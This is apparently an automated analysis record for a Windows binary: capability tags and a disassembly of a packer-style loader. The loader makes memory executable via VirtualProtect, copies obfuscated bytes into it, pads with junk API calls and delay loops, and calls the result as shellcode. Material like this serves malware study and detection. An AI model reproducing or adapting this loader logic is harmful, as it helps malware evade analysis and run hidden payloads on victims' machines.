Function at 0x402ef5
Capabilities:
Allocate or change rwx memory
Create directory
Execute shellcode via indirect call
Get disk information
Set file attributes

Disassembly:
mov eax, 0x41a1cd
call fcn.00406438
mov eax, 0x10e8
call fcn.00406860
push ebx
push esi
xor ebx, ebx
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, ebx
push ebx
call edi
cmp esi, 0x207138
jg 0x402f2a
inc esi
cmp esi, 0x4f672
jl 0x402f16
mov ecx, dword [0x28d3a64]
cmp ecx, 0x93
jne 0x402fbf
push ebx
call dword [sym.imp.USER32.dll_GetMenu]
xor eax, eax
lock bts dword [eax], 0
lea eax, [ebp - 0x1c]
push eax
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetStringTypeA]
push ebx
push ebx
push dword [ebp - 0x10]
push ebx
call dword [sym.imp.KERNEL32.dll_SetInformationJobObject]
push ebx
call fcn.00405238
push ebx
call fcn.00406074
push ebx
call fcn.00405238
add esp, 0xc
lea ecx, [ebp - 0x18]
call fcn.004017bf
lea eax, [ebp - 0x10]
mov dword [ebp - 4], ebx
push eax
lea ecx, [ebp - 0x18]
mov dword [ebp - 0x10], ebx
call fcn.004037a1
push 1
push 3
lea ecx, [ebp - 0xf4]
call fcn.004016d9
lea ecx, [ebp - 0xf4]
call fcn.00401d73
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x18]
call fcn.00401be5
mov ecx, dword [0x28d3a64]
mov eax, dword [0x447bf8]
add ecx, 0x1134b
push 0x41b238
mov dword [0x28d3a6c], eax
mov dword [0x28d3a64], ecx
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push str.VirtualProtect
push eax
mov dword [0x28d3a7c], eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push dword [0x28d3a64]
mov dword [0x28d3a5c], eax
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [ebp - 0x20]
mov dword [0x28d3a68], eax
push ecx
push 0x40
push dword [0x28d3a64]
push eax
call dword [0x28d3a5c]
mov esi, 0x14b002e
push ebx
call edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec esi
jne 0x403020
mov edx, dword [0x28d3a64]
mov esi, ebx
test edx, edx
je 0x4030b6
mov eax, dword [0x28d3a6c]
mov cl, byte [eax + esi + 0x1134b]
mov eax, dword [0x28d3a68]
mov byte [eax + esi], cl
mov edx, dword [0x28d3a64]
cmp edx, 0x490
jne 0x4030b1
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_CreateDirectoryW]
push ebx
push str.cipeyesamoyeyowujidicugigixakiraxaxupilununecuzaberohidumil
call dword [sym.imp.KERNEL32.dll_IsBadStringPtrW]
push str.hezujiguwuxazu
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
push ebx
lea eax, [ebp - 0x8f4]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
push ebx
lea eax, [ebp - 0x10f4]
push eax
push str.zovumaridagukubayucohiju
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationW]
lea eax, [ebp - 0x28]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleCursorInfo]
mov edx, dword [0x28d3a64]
inc esi
cmp esi, edx
jb 0x403038
mov esi, ebx
lea eax, [edx + esi]
cmp eax, 0x8d
jne 0x4030ed
push ebx
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll__lopen]
push ebx
push ebx
push str.yilagu
call dword [sym.imp.KERNEL32.dll_LoadLibraryExW]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasW]
mov edx, dword [0x28d3a64]
inc esi
cmp esi, 0x38681
jl 0x4030b8
mov ecx, dword [0x28d3a68]
push 0x447b30
call fcn.00403da6
mov esi, ebx
push ebx
call edi
cmp esi, 0x62
jne 0x40311a
mov ecx, 0x28d3a68
call fcn.00402ece
inc esi
cmp esi, 0x674db
jl 0x403108
push 0x7b
pop esi
cmp dword [0x28d3a64], 0x86
jne 0x403159
push ebx
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetConsoleWindowInfo]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea eax, [ebp - 0x44]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_BuildCommDCBA]
cmp dword [0x28d3a64], 0xf
jne 0x40316b
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenEventA]
dec esi
jne 0x403126
call fcn.00401ffe
mov eax, dword [0x28d3a68]
mov dword [0x28d3a70], eax
call eax
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret